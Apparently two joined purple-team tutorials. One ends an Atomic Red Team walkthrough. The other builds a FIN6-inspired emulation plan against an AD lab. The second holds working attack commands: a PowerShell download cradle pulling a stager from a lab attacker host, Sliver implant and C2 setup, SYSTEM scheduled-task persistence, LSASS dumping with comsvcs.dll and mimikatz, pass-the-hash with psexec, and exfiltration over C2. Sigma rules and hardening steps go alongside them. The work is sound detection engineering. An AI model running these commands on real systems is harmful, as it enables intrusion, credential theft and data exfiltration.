input_argumentsNamed parameters with description, type, default
dependency_executor_nameExecutor for prereq commands (powershell, sh, cmd)
dependenciesArray of { description, prereq_command, get_prereq_command }
executorObject: { name, command, cleanup_command, elevation_required }

Valid executor.name values are powershell, cmd, sh, bash, and manual. For the powershell executor, all commands run as a script block, and that script block must return 0 for the test to be counted as a success. The parallel T1059.001.md file is just a human-readable mirror of the same data – useful for reading, not for automation.


6. Discovering and Inspecting Atomic Tests

Nothing here executes anything – these switches only read metadata.

# List ALL tests available for this platform (brief)
Invoke-AtomicTest All -ShowDetailsBrief

# Inspect all tests for T1059.001 in detail (no execution)
Invoke-AtomicTest T1059.001 -ShowDetails

# List just test names/numbers for T1059.001
Invoke-AtomicTest T1059.001 -ShowDetailsBrief

-ShowDetailsBrief lists test names and numbers; -ShowDetails prints full metadata including commands and prereqs. The Indexes\ folder also ships an ATT&CK Navigator layer you can load to visualize your coverage.

Key parameters you’ll lean on throughout:

ParameterBehavior
-ShowDetailsBriefLists test names/numbers for a technique without executing
-ShowDetailsPrints full test metadata without executing
-CheckPrereqsEvaluates prereq_command for each dependency; reports pass/fail
-GetPrereqsRuns get_prereq_command to satisfy dependencies automatically
-TestNumbersTargets specific test number(s) within a technique
-TestNamesTargets test(s) by exact name string
-TestGuidsTargets test(s) by GUID
-InputArgsOverrides default input_arguments values (hashtable)
-CleanupRuns the test’s cleanup_command
-ExecutionLogPathWrites execution log to a specified path
-SessionRuns the test on a remote machine via PowerShell Remoting

7. Running Your First Atomic Test (Step-by-Step)

We’ll run T1059.001 test #1 – PowerShell encoded command execution, a real adversary TTP. The workflow is always: inspect → check prereqs → get prereqs → execute → observe telemetry → clean up.

Pre-flight: check and satisfy prerequisites.

Invoke-AtomicTest T1059.001 -TestNumbers 1 -CheckPrereqs
Invoke-AtomicTest T1059.001 -TestNumbers 1 -GetPrereqs

-CheckPrereqs evaluates each dependency’s prereq_command and reports pass/fail; -GetPrereqs runs the get_prereq_command to install anything missing.

Execute the atomic:

Invoke-AtomicTest T1059.001 -TestNumbers 1

Clean up afterward:

Invoke-AtomicTest T1059.001 -TestNumbers 1 -Cleanup

One crucial detail: execution is only logged when the attack commands actually run – not when you use the -ShowDetails, -CheckPrereqs, -GetPrereqs, or -Cleanup switches.


Flow diagram of the six-step atomic test workflow: inspect metadata, check prerequisites, get prerequisites, execute, observe telemetry, then clean up
Every atomic run follows this invariant sequence – skipping prereq checks or cleanup undermines both safety and detection validity.

8. Reading and Correlating Telemetry

The instant the test runs, pivot to your telemetry. This is the half of the exercise that matters.

For the T1059.001 encoded-command test, look for:

  • Sysmon Event ID 1 (Process Create)powershell.exe with -EncodedCommand in the CommandLine field. Key fields: Image, CommandLine, ParentImage, User.
  • Windows Security Event ID 4688 (Process Creation) – requires “Audit Process Creation” plus command-line auditing enabled via GPO.
  • PowerShell Script Block Logging (Event ID 4104) from the Microsoft-Windows-PowerShell provider (GUID A0C1853B-5C40-4B15-8766-3CF1C58F985A) – captures the decoded/obfuscated script content.

Different technique classes light up different Sysmon IDs. For the registry persistence atomic T1547.001-3, three Sysmon event IDs fire: 1 (process create), 11 (file create), and 13 (registry value set). That process-create + file-create + registry-value-set pattern is typical of persistence-class atomics, and it’s why Sysmon is the primary telemetry layer for ART validation.

Sysmon Event IDNameART Relevance
1Process Createpowershell.exe/cmd.exe and child processes
3Network ConnectC2/download atomics (DestinationIp, DestinationPort)
7Image LoadedDLL-load atomics
10Process AccessLSASS-access atomics (T1003.001)
11File CreateDropped payloads / dumps
12 / 13Registry Add-Delete / Value SetRegistry persistence (T1547.001), TargetObject

Audit policy prerequisites (GPO): enable Audit Process Creation (Success) under Detailed Tracking, and enable Include command line in process creation events under Administrative Templates → System → Audit Process Creation.


9. Customising Tests: -InputArgs, GUIDs, and Names

Override a test’s default input_arguments to make it look more like a real intrusion:

Invoke-AtomicTest T1059.001 -TestNumbers 1 -InputArgs @{
    "encoded_command" = "<your_base64_string>"
}

For reproducibility across teams, target a test by its auto_generated_guid rather than by number (numbers can shift as tests are added):

Invoke-AtomicTest T1059.001 -TestGuids <guid>
Invoke-AtomicTest T1059.001 -TestNames "Mimikatz"

You can also drive execution onto a separate lab VM over PowerShell Remoting (WinRM enabled on the target):

$session = New-PSSession -ComputerName "LabVM02"
Invoke-AtomicTest T1059.001 -TestNumbers 1 -Session $session

10. Execution Logging and the Attire Logger

By default, execution details are written to Invoke-AtomicTest-ExecutionLog.csv in the temp directory ($env:TEMP). Override it with -ExecutionLogPath:

Import-Csv $env:TEMP\Invoke-AtomicTest-ExecutionLog.csv | Out-GridView

Invoke-AtomicTest T1059.001 -TestNumbers 1 -ExecutionLogPath "C:\Temp\art-T1059.001.csv"

For richer, machine-consumable output, select an alternate logger with -LoggingModule – the Attire JSON logger feeds purple-team tooling like Vectr:

Invoke-AtomicTest T1059.001 -TestNumbers 1 -LoggingModule "Attire-ExecutionLogger"

There’s also a "WinEvent-ExecutionLogger" that writes to the Windows Event Log, and -NoExecutionLog to suppress disk logging entirely.


11. The Detection Engineering Feedback Loop

This is where ART pays off. You ran T1059.001, you watched Sysmon EID 1, and you asked one question: did my detection fire?

If it didn’t, you’ve found a coverage gap. Write or tighten a Sigma rule against the exact fields the test exercised:

detection:
  selection:
    EventID: 1
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-EncodedCommand'
      - '-enc '
      - '-ec '
  condition: selection
logsource:
  category: process_creation
  product: windows

Key Sigma fields you’ll reach for: Image, CommandLine, ParentImage, ParentCommandLine, User, TargetObject (registry), TargetFilename (file).

Deploy the rule, re-run the atomic, confirm the alert fires. That run → observe → tune → re-run cycle is purple teaming. The atomics that map cleanly to ATT&CK make it easy to track coverage technique by technique.

Relevant ATT&CK techniques for early practice:

Technique IDName
T1059.001Command and Scripting Interpreter: PowerShell
T1059.003Command and Scripting Interpreter: Windows Command Shell
T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
T1053.005Scheduled Task/Job: Scheduled Task
T1003.001OS Credential Dumping: LSASS Memory
T1566.001Phishing: Spearphishing Attachment

Cyclic flow diagram of the detection engineering feedback loop: run atomic, collect telemetry, check if alert fired, tune Sigma rule if silent, re-run to confirm coverage
The run → observe → tune → re-run cycle is the core value of ART – each iteration either confirms coverage or closes a measurable gap.

Recap

You installed the two decoupled repositories – the invoke-atomicredteam execution framework and the atomic-red-team atomics library – into C:\AtomicRedTeam\ on an isolated VM, with powershell-yaml for parsing and an AV exclusion to keep the atomics intact. You learned the disk layout (T1234\T1234.yaml per technique), dissected an atomic’s YAML (attack_technique, auto_generated_guid, input_arguments, dependencies, executor), and ran a full workflow against T1059.001: inspect with -ShowDetails, pre-flight with -CheckPrereqs/-GetPrereqs, execute, correlate Sysmon EID 1 and Security EID 4688, then -Cleanup.

The execution is the easy half. The discipline is the feedback loop: every test run is a question to your detections, and the honest answer – fired or silent – is the whole reason ART earns its place on the shelf. Snapshot, run one technique, watch the telemetry, tune, repeat.


Related Tutorials

References

Building an Adversary Emulation Plan: From CTI to Executable Playbook

Objective: Build a complete, CTI-driven adversary emulation plan for a named threat actor – from raw intelligence through an ATT&CK-mapped operational flow to a dual human/machine-readable playbook – then execute it against a self-built Active Directory lab and close the loop with validated detections.


1. What an Adversary Emulation Plan Actually Is

Tagging activity to ATT&CK is not adversary emulation. That conflation is a category error, and it produces “emulation plans” that are really just technique checklists. ATT&CK is a behavioral taxonomy – a vocabulary – not threat intelligence. Slapping T1059.001 on a PowerShell run tells you nothing about whether a real or plausible adversary would ever do that, in that order, against your environment.

An Adversary Emulation Plan (AEP) is a CTI-driven operational blueprint describing how a specific adversary would realistically operate against a specific organization. You are not replaying malware samples or cloning C2 infrastructure. You are emulating how an actor selects, chains, and adapts techniques over time to reach their objective. Because CTI rarely captures complete hands-on-keyboard detail, an AEP is deliberately not a script – it leaves room for operator judgment where the intel goes dark.

This is why TTP-fidelity matters. David J. Bianco’s Pyramid of Pain is the whole argument in one picture: hashes, IPs, and domains sit at the base – trivial and cheap for an adversary to change. TTPs sit at the apex – costly to alter, painful to evade detection on. Emulation lives at that apex. Chase IOCs and you validate detections an attacker breaks by recompiling; emulate TTPs and you test the muscles that actually hurt them.

Two plan shapes exist, and you should know which you’re building:

FeatureFull EmulationMicro Emulation
ScopeOne adversary, initial access → exfiltrationOne compound behavior across many adversaries
DriverA single named actor’s documented operationsA string of techniques commonly abused together
EffortHigh – broad tactic/technique coverageLower – targeted, efficient validation
Best forAnnual purple-team exercise, board-level reportingDetection regression testing, fast iteration

CTID’s methodology runs in four steps: (1) CTI research to pick a relevant, growing threat; (2) technique selection to extract ATT&CK techniques across tactics and organize them into a scenario; (3) offensive development to build the tooling and commands; and (4) emulation execution. The rest of this post walks all four against a lab.


Hierarchy diagram showing the four CTID adversary emulation plan phases: CTI Research, Technique Selection, Offensive Development, and Emulation Execution, all stemming from the central AEP node
The CTID four-phase AEP methodology turns raw threat intelligence into an executable emulation plan.

2. CTI Foundations: The Plan’s Raw Material

CTI comes in tiers, and only some of it feeds an AEP directly.

TierFocusUse in AEP
StrategicGeopolitics, economics, why a sector gets targeted; non-technicalJustifies which actor is relevant to your org
OperationalCampaign reports, malware analyses, incident disclosuresPrimary input – the TTPs you’ll emulate
TacticalAtomic IOCs (hashes, IPs, domains)Context and pivoting, not the emulation target

Operational CTI is the bridge between intelligence and action – it underpins detection engineering, red/purple teaming, threat modeling, and IR playbooks alike. Pull it from ISAC advisories, vendor threat reports, government advisories, and structured feeds you ingest through MISP or OpenCTI over STIX/TAXII.

From each source, extract four things: TTPs (the behaviors), tooling (what they run), infrastructure patterns (how they stage and call back – patterns, not specific IPs), and victimology (who they hit and why). Everything else is noise for emulation purposes.


3. Selecting and Profiling the Threat Actor

Adversary selection is driven by prevalence and enterprise impact, not by which APT has the coolest name. Score candidates against your target org’s sector. If you’re defending a financial services firm, an actor that only hits defense contractors is an academic exercise.

A thorough adversary profile answers more than “what techniques”:

ComponentWhat It Answers
CapabilitiesHow sophisticated is their tradecraft?
ResourcingCrew size, custom tooling, zero-day access?
Motivations & objectivesFinancial, espionage, disruption?
Behavioral evolutionHow have their TTPs shifted over campaigns?
ToolsLoaders, C2, post-ex frameworks
ConstraintsWhat do they not do?
VictimologySectors, geographies, preferred victim profiles

Victimology is the underrated one. Targeting patterns reveal motive and predict pre- and post-intrusion behavior – an actor that prizes financial data behaves differently after foothold than one chasing source code.

Start from the ATT&CK Groups pages, then enrich with vendor reporting. For this tutorial I built a fictional “APT-LAB,” modeled on the publicly documented behaviors of FIN6 (G0037) from the CTID Adversary Emulation Library – financial-sector eCrime, reconnaissance, lateral movement, data staging, and exfiltration. Every behavior is sourced from public CTI; nothing here is a live or novel capability.


4. Mapping CTI to ATT&CK Without Over-Tagging

Extract technique IDs straight from the reporting, and respect the hierarchy: Tactic → Technique → Sub-technique → Procedure. A procedure is the concrete documented instance (“FIN6 used comsvcs.dll MiniDump to read LSASS”); the sub-technique generalizes it (T1003.001); the technique abstracts further (T1003); the tactic states the goal (Credential Access).

The discipline here is restraint. Over-tagging is the most common rookie failure – every report mentions PowerShell, so people tag T1059.001 even when the actor used it once incidentally. If it isn’t load-bearing in the actor’s documented operations, it doesn’t belong in your scenario. Map only techniques you can back with supporting intelligence.

The APT-LAB chain in scope:

ATT&CK IDNameTactic
T1566.001Spearphishing AttachmentInitial Access
T1059.001PowerShellExecution
T1053.005Scheduled TaskPersistence
T1003.001LSASS MemoryCredential Access
T1021.002SMB/Windows Admin SharesLateral Movement
T1550.002Pass the HashLateral Movement
T1560.001Archive via UtilityCollection
T1041Exfiltration Over C2 ChannelExfiltration

Render this as an ATT&CK Navigator layer for gap analysis. Generate it programmatically so it stays in sync with your scenario file:

# cti_to_navigator.py — emit a Navigator layer from extracted technique IDs
import json

techniques = [
    {"techniqueID": "T1566.001", "tactic": "initial-access",   "comment": "FIN6: macro-laced XLS attachment"},
    {"techniqueID": "T1059.001", "tactic": "execution",         "comment": "PowerShell download cradle for stage-2"},
    {"techniqueID": "T1053.005", "tactic": "persistence",       "comment": "Scheduled task for C2 callback"},
    {"techniqueID": "T1003.001", "tactic": "credential-access", "comment": "LSASS dump via comsvcs.dll"},
    {"techniqueID": "T1021.002", "tactic": "lateral-movement",  "comment": "SMB/Admin Shares pivot"},
    {"techniqueID": "T1560.001", "tactic": "collection",        "comment": "7-Zip archive before exfil"},
    {"techniqueID": "T1041",     "tactic": "exfiltration",      "comment": "Exfil over existing C2 channel"},
]

layer = {
    "name": "APT-LAB Emulation Layer",
    "versions": {"attack": "16", "navigator": "5"},
    "domain": "enterprise-attack",
    "techniques": [
        {"techniqueID": t["techniqueID"], "color": "#ff6666",
         "comment": t["comment"], "enabled": True}
        for t in techniques
    ],
}

with open("apt_lab_layer.json", "w") as f:
    json.dump(layer, f, indent=2)
print("[+] Navigator layer written.")

Load apt_lab_layer.json into the Navigator at mitre-attack.github.io/attack-navigator/. The heat map is your scope-control artifact – and later, your coverage report.


5. Designing the Operational Flow

The Operational Flow chains your selected techniques into a logical kill-chain: the major steps that commonly occur across the actor’s operations, in the order they’d occur. Initial access lands a foothold; execution establishes C2; persistence survives reboot; credential access fuels lateral movement; collection stages data; exfiltration ships it.

Where intel goes dark – and it always does at the hands-on-keyboard layer – you fill the gap with “inspired-by” tradecraft: technique choices consistent with the actor’s capability and constraints, even if the exact command isn’t published. Document the assumption. An auditor reading your plan should see where reporting ends and operator judgment begins.

Build in branching. Two common variants: an assumed-breach scenario that starts at execution (you skip phishing and seed a foothold), and a full-chain scenario that begins at delivery. Assumed-breach is faster and isolates post-ex detection; full-chain tests the perimeter and the human layer too.


Left-to-right flow diagram of the APT-LAB kill-chain showing seven sequential phases from Spearphishing Initial Access through PowerShell Execution, Scheduled Task Persistence, LSASS Credential Access, SMB Lateral Movement, Archive Collection, to C2 Exfiltration
The APT-LAB operational flow chains eight ATT&CK techniques across six tactics, mirroring FIN6-inspired financial-sector intrusion tradecraft.

6. Writing the Three CTID Documents

CTID’s canonical AEP – established by the APT29 plan – has three components:

  • Intelligence Summary – the adversary overview plus references to cited intelligence. This is your “why.”
  • Operational Flow – the chained major steps (§5).
  • Emulation Plan – the TTP-by-TTP, command-by-command walkthrough that implements the tradecraft described above.

Write a human-readable version in Markdown with tables – it carries background, prerequisites, and setup notes a person needs. Then write the machine-readable version in YAML, designed to be parsed and ingested by an automated agent such as CALDERA or a BAS framework. CTID started from Red Canary’s Atomic Red Team format and modified it to carry the threat intelligence that informs each step and to keep a direct correlation with the human-readable plan – note the cti_source field below tying every step back to the Intelligence Summary:

# apt_lab.yaml — machine-readable Emulation Plan (Atomic-derived schema)
id: apt-lab-001
name: APT-LAB Financial Emulation
description: Lab emulation of a FIN6-inspired financial-sector intrusion chain
steps:
  - id: step-1
    technique:
      attack_id: T1059.001
      name: PowerShell download cradle
    description: Execute PowerShell download cradle from phishing macro
    command: "powershell -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.10/stager.ps1')\""
    executor: powershell
    platforms: [windows]
    cti_source: "CTID FIN6 Intelligence Summary, Step 2"

  - id: step-2
    technique:
      attack_id: T1053.005
      name: Scheduled Task persistence
    description: Create scheduled task for persistent C2 callback
    command: "schtasks /create /tn 'LabPersist' /tr 'C:\\Windows\\Temp\\beacon.exe' /sc onlogon /ru SYSTEM"
    executor: cmd
    platforms: [windows]
    cti_source: "CTID FIN6 Intelligence Summary, Step 4"
  # ... steps for T1003.001, T1021.002, T1560.001, T1041

7. Building the Lab Target Environment

You need a realistic AD range that produces realistic telemetry. Here’s the topology:

[Attacker Kali/Windows VM]
        |
   [Sliver C2 Listener: mTLS 192.168.56.10]
        |
[Victim-LAN: 192.168.56.0/24]
  ├── DC01.lab.local  (Windows Server 2022, AD DS)
  ├── WS01.lab.local  (Windows 10/11 — primary target)
  └── WS02.lab.local  (Windows 10/11 — lateral target)

Promote DC01, join both workstations, then populate AD with realistic misconfigurations so the attack paths exist:

# On DC01 — populate ~2,500 AD objects: misconfigured ACLs,
# kerberoastable SPNs, AS-REP-roastable accounts
Import-Module .\BadBlood.ps1
Invoke-BadBlood

Deploy Sysmon with a maintained config on every Windows host, then ship logs to your SIEM:

# Each Windows host — SwiftOnSecurity config gives you the noisy-but-useful baseline
.\Sysmon64.exe -accepteula -i .\sysmonconfig-export.xml

# Verify it loaded
Get-Service Sysmon64

Forward events with Winlogbeat into Elastic (or Splunk). Last and most important: snapshot every VM to a clean baseline before each run. This is non-negotiable – credential dumping, scheduled tasks, and dropped beacons all mutate state, and you want each phase to start from a known-good baseline so telemetry is attributable to this run, not last week’s.


8. Executing the Chain: Initial Access to Exfiltration

CALDERA will automate this later. Run it by hand first – you only learn where telemetry actually lives by typing the commands and watching the event log react.

Phase 1 – Initial Access (T1566.001)

Generate a stageless Sliver shellcode payload and wrap a download cradle for the macro body:

# Sliver console — build the implant
sliver > generate --mtls 192.168.56.10 --os windows --arch amd64 \
         --format shellcode --save /tmp/lab_payload.bin

Deliver a macro-enabled XLS to WS01 through a lab mail server (MailHog or hMailServer). The macro runs a one-liner cradle:

powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.10/stager.ps1')"

Phase 2 – Execution & C2 (T1059.001)

stager.ps1 pulls the payload and executes it in memory (illustrative lab cradle – the in-memory injection is shown conceptually, not as a tuned bypass):

# stager.ps1 — hosted on the attacker HTTP server
$u = 'http://192.168.56.10/lab_payload.bin'
$b = (New-Object Net.WebClient).DownloadData($u)
# Shellcode loaded via VirtualAlloc/CreateThread pattern (lab demonstration)

Start the listener and catch the session:

sliver > mtls --lhost 192.168.56.10
sliver > sessions
[*] Session LAB-WS01 (WS01\jsmith) - 192.168.56.20

Phase 3 – Persistence (T1053.005)

Validate the technique atomically first, then run the operator version:

# Atomic Red Team — single technique test
Invoke-AtomicTest T1053.005 -TestNumbers 1

# Operator equivalent — SYSTEM-level logon persistence
schtasks /create /tn "LabPersist" /tr "C:\Windows\Temp\beacon.exe" /sc onlogon /ru SYSTEM

Phase 4 – Credential Access (T1003.001)

comsvcs.dll MiniDump is a LOLBin – no external tooling on the host:

# From the Sliver session on WS01. Note: do NOT clobber $pid —
# it's a PowerShell automatic variable. Use your own.
$lpid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lpid C:\Temp\lsass.dmp full

Parse the dump offline on the attacker box:

mimikatz # sekurlsa::minidump C:\Temp\lsass.dmp
mimikatz # sekurlsa::logonpasswords

The first time I ran this in the lab, the MiniDump wrote a near-empty file and Mimikatz returned nothing useful. No loud error – just a 0x5 access-denied buried in the Sliver output. I’d set RunAsPPL = 1 the week before while testing LSA Protection and forgotten to revert. Lesson reinforced: snapshot to a clean baseline before every run – the LSA Protection state from a previous experiment silently neutered the credential-access phase, and without a known-good starting point the failure was nearly invisible. Revert the snapshot, confirm RunAsPPL is absent, re-run.

Phase 5 – Lateral Movement (T1021.002)

Use the recovered NTLM hash to move to the next host via Pass-the-Hash (T1550.002). Impacket from Kali:

python3 psexec.py -hashes :aabbccddeeff00112233445566778899 \
    LAB/Administrator@192.168.56.30

Or pivot over SMB from the existing Sliver session, and enumerate AD attack paths with SharpHound:

sliver > use <session-LAB-WS01>
sliver (LAB-WS01) > execute-assembly SharpHound.exe -c All --outputdirectory C:\Temp

Import the SharpHound ZIP into BloodHound on Kali and run “Find Shortest Paths to Domain Admins” to visualize the WS01 → DC01 route:

bloodhound &   # Import the WS01 SharpHound ZIP, then query shortest paths

Phase 6 – Collection & Exfiltration (T1560.001, T1041)

Stage data into an archive, then exfiltrate over the existing C2 channel:

# Archive staging (T1560.001)
7z a C:\Temp\exfil.zip C:\Users\jsmith\Documents\*.xlsx
# Exfil over C2 (T1041) — pull it back through Sliver
sliver (LAB-WS01) > download C:\Temp\exfil.zip /tmp/retrieved/

Exfiltrating over the existing C2 channel rather than a fresh protocol is itself a TTP choice – it’s quieter and consistent with FIN6-style tradecraft.

Phase 7 – Automating the Full Chain with CALDERA

Once the manual run is validated, encode the chain as a CALDERA adversary YAML profile (the apt_lab.yaml from §6) and load it through the REST API:

curl -X POST http://localhost:8888/api/v2/abilities \
  -H "KEY: ADMIN123" \
  -H "Content-Type: application/json" \
  -d @apt_lab.yaml

CALDERA – MITRE’s ATT&CK-based emulation platform, with its asynchronous C2 server, REST API, web UI, and plugin agents – then executes the profile autonomously against a deployed agent. The point of automating after the manual run is repeatability: regression-test detections on every change without re-typing the chain.


9. Purple Team Execution and Telemetry Collection

Emulation without paired detection is just a red-team flex. After each phase, pivot immediately to the blue side. The discipline:

  • Operator logging – timestamp every command so blue can align telemetry to action.
  • Blue brief – defenders watch the SIEM live, building a detection-gap matrix as phases fire.
  • Capture and confirm – verify the expected Sysmon/ETW/Windows Security events actually landed before moving on.
  • Restore – run Invoke-AtomicTest T1053.005 -Cleanup and revert snapshots between iterations.

Sysmon Event IDs to Watch

Event IDDescriptionAEP Phase
1Process Creation (command line, hashes, parent)All execution
3Network Connection (C2 callback src/dst/port)C2 establishment
7Image Load (e.g. comsvcs.dll for LSASS dump)T1003.001
10Process Access (LSASS access)T1003.001
11File Create (payload drops, Task XML writes)T1053.005
12/13/14Registry add/delete/renameT1547 Run-key persistence
17/18Pipe Created/Connected (PsExec, SMB lateral)T1021.002
22DNS Query (C2 domain resolution)C2 beaconing

For T1053.005 specifically, expect: Sysmon Event ID 1 (schtasks.exe process creation), Sysmon Event ID 1 (powershell.exe with encoded commands), Windows Event 4698 (scheduled task created), Windows Event 4702 (scheduled task updated), and Sysmon Event ID 11 (Task XML written to C:\Windows\System32\Tasks\).

Windows Security Event IDs

Event IDDescription
4624Successful logon (lateral movement)
4625Failed logon (brute force)
4648Explicit credential logon (Pass-the-Hash indicator)
4698Scheduled task created
4702Scheduled task updated
4768/4769Kerberos TGT/TGS request (Kerberoasting baseline)
4776NTLM credential validation

ETW Providers

ProviderPurpose
Microsoft-Windows-Threat-IntelligenceLSASS access, process injection (kernel-level; needs PPL/privileged agent)
Microsoft-Windows-PowerShell/OperationalScriptBlock & module logging (T1059.001)
Microsoft-Windows-WMI-Activity/OperationalWMI execution (T1047)
Microsoft-Windows-TaskScheduler/OperationalScheduled task create/modify/execute (T1053.005)
Microsoft-Windows-SMBClient/SecuritySMB lateral movement telemetry

None of this fires without audit policy. Enable it:

auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
auditpol /set /subcategory:"Other Object Access Events" /success:enable  # Task Scheduler

And turn on PowerShell logging via GPO/registry:

HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging  EnableScriptBlockLogging = 1
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging       EnableModuleLogging = 1

Circular flow diagram illustrating the purple team continuous loop: Emulate Phase generates telemetry, feeds the SIEM for detection, triggers rule tuning, feeds back into re-emulation, while hardening controls and coverage reporting branch off from the detection node
The purple team loop closes the gap between offensive execution and validated detection, continuously improving coverage with each emulation iteration.

10. Detection Engineering and Sigma Rule Development

For every emulated technique, write a SIEM-agnostic Sigma rule, validate it against the telemetry you just captured, then translate it to your SIEM’s query language. A Sigma rule’s anatomy: logsource names the source (e.g. Sysmon Event ID 10 process-access for LSASS), the selection block holds the match logic, an optional filter block excludes known-legitimate sources, and condition fires when selection is true and the filter is false.

LSASS access detection for T1003.001:

title: LSASS Memory Access via Non-System Process
id: <uuid>
status: experimental
logsource:
  category: process_access
  product: windows
detection:
  selection:
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'
      - '0x1410'
      - '0x1fffff'
  filter_legitimate:
    SourceImage|endswith:
      - '\svchost.exe'
      - '\MsMpEng.exe'
      - '\csrss.exe'
  condition: selection and not filter_legitimate
falsepositives:
  - AV products, EDR agents
level: high
tags:
  - attack.credential_access
  - attack.t1003.001

Run the emulation, confirm the alert fires in the SIEM, tune out false positives, and re-run. That loop – emulate → detect → tune → re-emulate – is the continuous engine of threat-informed defense.

Hardening Paired to Each Phase

Detection is half the answer; reduce the attack surface too.

AEP PhaseHardening Control
T1566.001 Initial AccessASR rule: Block Office macros from internet-sourced files (d4f940ab-401b-4efc-aadc-ad5f3c50688a)
T1059.001 PowerShellConstrained Language Mode; AMSI; v5+ ScriptBlock logging
T1053.005 PersistenceMonitor C:\Windows\System32\Tasks\ ACLs; alert on non-SYSTEM task creation
T1003.001 Credential AccessLSA Protection (RunAsPPL = 1); Credential Guard
T1021.002 Lateral MovementDisable SMBv1; restrict Admin Shares; enforce SMB signing
T1560.001 / T1041 ExfiltrationDLP on archive creation; C2 egress filtering at proxy/firewall

11. Reporting and Measuring Effectiveness

Close the engagement with numbers leadership can act on:

  • ATT&CK coverage heat map – reuse the Navigator layer from §4, now colored by detection outcome (detected / partial / missed).
  • Detection rate – what fraction of emulated techniques produced an alert? A prevented technique that left no telemetry is still a gap.
  • Remediation priorities – rank gaps by the actor’s reliance on the technique and the difficulty of detection.
  • Re-emulation schedule – set the cadence to re-run after detections ship and after the actor’s TTPs evolve.

Recap

You took raw CTI, scored a relevant actor by prevalence and sector impact, and built a profile that captured capability, motivation, and victimology – not just a technique list. You mapped only load-bearing behaviors to ATT&CK, resisted over-tagging, and rendered scope as a Navigator layer. You chained those techniques into an Operational Flow, filled intel gaps with documented “inspired-by” tradecraft, and wrote the CTID three-component plan in both human-readable Markdown and machine-readable YAML. You stood up an AD lab with BadBlood and Sysmon, executed the full chain from spearphishing through LSASS dumping, Pass-the-Hash lateral movement, and C2 exfiltration by hand, then automated it in CALDERA. Finally, you paired every offensive phase with the Sysmon/Windows/ETW telemetry it generates, wrote and validated Sigma detections, hardened each step, and reported coverage as metrics. That closed loop – CTI to executable playbook to validated detection – is the whole point: you don’t just prove you can attack, you prove your defenders can see it.


Related Tutorials

References